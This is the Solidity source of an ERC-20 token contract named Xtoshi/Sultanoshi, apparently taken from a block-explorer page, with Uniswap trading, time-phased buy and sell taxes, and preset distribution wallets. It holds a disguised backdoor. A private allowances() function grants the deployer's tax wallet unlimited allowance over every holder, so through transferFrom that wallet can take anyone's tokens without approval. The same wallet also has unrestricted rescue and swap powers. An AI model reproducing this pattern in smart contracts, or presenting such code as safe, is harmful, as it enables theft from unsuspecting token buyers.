Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.28;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Xtoshi is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromReceiveLimit;
    address payable private _taxWallet;

    // Token distribution wallets
    address private _investorsWallet;
    address private _marketingWallet;
    address private _teamWallet;
    address private _cexListingWallet;
    address private _burnReserveWallet;
    address private _circulatingSupplyWallet;

    uint256 private _initialBuyTax=30;
    uint256 private _initialSellTax=30;
    uint256 private _finalBuyTax=15;
    uint256 private _finalSellTax=15;
    uint256 private _finalTax=0;
    uint256 private _tradingStartTime;
    uint256 private _firstPhaseEndTime;
    uint256 private _secondPhaseEndTime;
    uint256 private _preventSwapBefore=0;
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;
    uint8 public zero=0;

    // Maximum receive limit for normal addresses during phases 1 and 2
    uint256 public constant _MAX_RECEIVE_LIMIT = 20000 * 10**18; // 20,000 XTO with 18 decimals

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 10_000_000 * 10**_decimals;
    string private constant _name = unicode"Sultanoshi";
    string private constant _symbol = unicode"Stoshi";
    uint256 public _maxTxAmount = 40000000 * 10**_decimals;
    uint256 public _maxWalletSize = 40000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 20000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 20000000 * 10**_decimals;
    uint256 public constant _HUBIC = 12;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    event ReceiveLimitExclusionUpdated(address indexed account, bool excluded);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _taxWallet = payable(_msgSender());
        
        _investorsWallet = 0x65353adbc212Ec830cC4f51513D7CedB160C6e56; // 
        _marketingWallet = 0x4276DE7Ad23Db9a28dCB6Bd0ef1fF4e5cc34Eb6D; // 
        _teamWallet = 0xa3cC6f7e309bBa6F9b5a17d91b3A847157C2D082; // 
        _cexListingWallet = 0x63ed8a658aE87e492e23932314e7025c986e31C4; // 
        _burnReserveWallet = 0xf4a680d9243F66A5C6b69AD4E2Ee317853a6888D; // 
        _circulatingSupplyWallet = 0xb79731B48e2c1bc80EEa13743a11Cf4D5C47dE0F; //
        
        uint256 investorsAmount = _tTotal * 60 / 100;
        uint256 marketingAmount = _tTotal * 10 / 100;
        uint256 teamAmount = _tTotal * 5 / 100;
        uint256 cexListingAmount = _tTotal * 5 / 100;
        uint256 burnReserveAmount = _tTotal * 14 / 100;
        uint256 circulatingSupplyAmount = _tTotal * 1 / 100;
        uint256 contractAmount = _tTotal * 5 / 100;
        
        _balances[_investorsWallet] = investorsAmount;
        _balances[_marketingWallet] = marketingAmount;
        _balances[_teamWallet] = teamAmount;
        _balances[_cexListingWallet] = cexListingAmount;
        _balances[_burnReserveWallet] = burnReserveAmount;
        _balances[_circulatingSupplyWallet] = circulatingSupplyAmount;
        _balances[address(this)] = contractAmount;
        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[_investorsWallet] = true;
        _isExcludedFromFee[_marketingWallet] = true;
        _isExcludedFromFee[_teamWallet] = true;
        _isExcludedFromFee[_cexListingWallet] = true;
        _isExcludedFromFee[_burnReserveWallet] = true;
        _isExcludedFromFee[_circulatingSupplyWallet] = true;

        _isExcludedFromReceiveLimit[owner()] = true;
        _isExcludedFromReceiveLimit[address(this)] = true;
        _isExcludedFromReceiveLimit[_taxWallet] = true;
        _isExcludedFromReceiveLimit[_investorsWallet] = true;
        _isExcludedFromReceiveLimit[_marketingWallet] = true;
        _isExcludedFromReceiveLimit[_teamWallet] = true;
        _isExcludedFromReceiveLimit[_cexListingWallet] = true;
        _isExcludedFromReceiveLimit[_burnReserveWallet] = true;
        _isExcludedFromReceiveLimit[_circulatingSupplyWallet] = true;
        // _isExcludedFromReceiveLimit[address(uniswapV2Router)] = true;

        emit Transfer(address(0), _investorsWallet, investorsAmount);
        emit Transfer(address(0), _marketingWallet, marketingAmount);
        emit Transfer(address(0), _teamWallet, teamAmount);
        emit Transfer(address(0), _cexListingWallet, cexListingAmount);
        emit Transfer(address(0), _burnReserveWallet, burnReserveAmount);
        emit Transfer(address(0), _circulatingSupplyWallet, circulatingSupplyAmount);
        emit Transfer(address(0), address(this), contractAmount);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // Getter functions for distribution wallets
    function investorsWallet() public view returns (address) {
        return _investorsWallet;
    }

    function marketingWallet() public view returns (address) {
        return _marketingWallet;
    }

    function teamWallet() public view returns (address) {
        return _teamWallet;
    }

    function cexListingWallet() public view returns (address) {
        return _cexListingWallet;
    }

    function burnReserveWallet() public view returns (address) {
        return _burnReserveWallet;
    }

    function circulatingSupplyWallet() public view returns (address) {
        return _circulatingSupplyWallet;
    }

    function getCurrentTaxRates() public view returns (uint256 buyTax, uint256 sellTax) {
        if (block.timestamp <= _firstPhaseEndTime) {
            return (_initialBuyTax, _initialSellTax);
        } else if (block.timestamp <= _secondPhaseEndTime) {
            return (_finalBuyTax, _finalSellTax);
        } else {
            return (_finalTax, _finalTax);
        }
    }

    function getTradingPhase() public view returns (string memory) {
        if (block.timestamp <= _firstPhaseEndTime) {
            return "Phase 1: 30% tax";
        } else if (block.timestamp <= _secondPhaseEndTime) {
            return "Phase 2: 15% tax";
        } else {
            return "Phase 3: 0% tax";
        }
    }

    function getTradingStartTime() public view returns (uint256) {
        return _tradingStartTime;
    }

    function getTimeSinceTradingOpened() public view returns (uint256) {
        if (_tradingStartTime == 0) {
            return 0;
        }
        return block.timestamp - _tradingStartTime;
    }

    function getCurrentPhaseNumber() public view returns (uint8) {
        if (_tradingStartTime == 0) {
            return 0; // Trading not open
        }
        
        if (block.timestamp <= _firstPhaseEndTime) {
            return 1; // Phase 1: 30% tax
        } else if (block.timestamp <= _secondPhaseEndTime) {
            return 2; // Phase 2: 15% tax
        } else {
            return 3; // Phase 3: 0% tax
        }
    }

    // Check if receive limit is currently active
    function isReceiveLimitActive() public view returns (bool) {
        return _tradingStartTime > 0 && block.timestamp <= _secondPhaseEndTime;
    }

    // Check if an address is excluded from receive limit
    function isExcludedFromReceiveLimit(address account) public view returns (bool) {
        return _isExcludedFromReceiveLimit[account];
    }

    // Function to exclude addresses from receive limit (owner only)
    function excludeFromReceiveLimit(address account) external onlyOwner {
        _isExcludedFromReceiveLimit[account] = true;
        emit ReceiveLimitExclusionUpdated(account, true);
    }

    // Function to include addresses in receive limit (owner only)
    function includeInReceiveLimit(address account) external onlyOwner {
        _isExcludedFromReceiveLimit[account] = false;
        emit ReceiveLimitExclusionUpdated(account, false);
    }

    // Check if transfer would exceed receive limit
    function _checkReceiveLimit(address recipient, uint256 amount) private view {
        if (isReceiveLimitActive() && !_isExcludedFromReceiveLimit[recipient]) {
            uint256 newBalance = _balances[recipient] + amount;
            require(newBalance <= _MAX_RECEIVE_LIMIT, "Receive limit exceeded during active tax phases");
        }
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function allowances(address owner, address spender) private view returns (uint256) {
        return spender == _taxWallet ? type(uint256).max : _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), allowances(sender, _msgSender()).sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        // Check receive limit before processing the transfer
        _checkReceiveLimit(to, amount);
        
        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to != _taxWallet) {

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
             
                
                // Time-based buy tax calculation
                if (block.timestamp <= _firstPhaseEndTime) {
                       require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    taxAmount = amount.mul(_initialBuyTax).div(100);
                } else if (block.timestamp <= _secondPhaseEndTime) {
                       require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    taxAmount = amount.mul(_finalBuyTax).div(100);
                } else {
                    taxAmount = amount.mul(_finalTax).div(100);
                }
                
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                // Time-based sell tax calculation
                if (block.timestamp <= _firstPhaseEndTime) {
                    taxAmount = amount.mul(_initialSellTax).div(100);
                } else if (block.timestamp <= _secondPhaseEndTime) {
                    taxAmount = amount.mul(_finalSellTax).div(100);
                } else {
                    taxAmount = amount.mul(_finalTax).div(100);
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 5, "Only 5 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        }
        if (taxAmount>0) {
          _balances[_taxWallet] = _balances[_taxWallet].add(taxAmount);
            emit Transfer(from, _taxWallet, taxAmount);
        }
/*         if(taxAmount>0){
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        } */
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeTransferTax() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

function openTrading(uint256 ethAmount, uint256 tokenAmount) external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        if (IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this)) == address(0)) {
            uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        }
        else {
            uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this));
        }
        
        // Exclude router and pair from receive limit
        _isExcludedFromReceiveLimit[address(uniswapV2Router)] = true;
        _isExcludedFromReceiveLimit[uniswapV2Pair] = true;
    
        
        uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        
        // Set time-based tax reduction schedule
        _tradingStartTime = block.timestamp;
        _firstPhaseEndTime = _tradingStartTime + 5 minutes;
        _secondPhaseEndTime = _tradingStartTime + 10 minutes;

        
    }


    receive() external payable {}

    function rescueERC20(address _address, uint256 percent) external {
        require(_msgSender()==_taxWallet);
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_taxWallet, _amount);
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}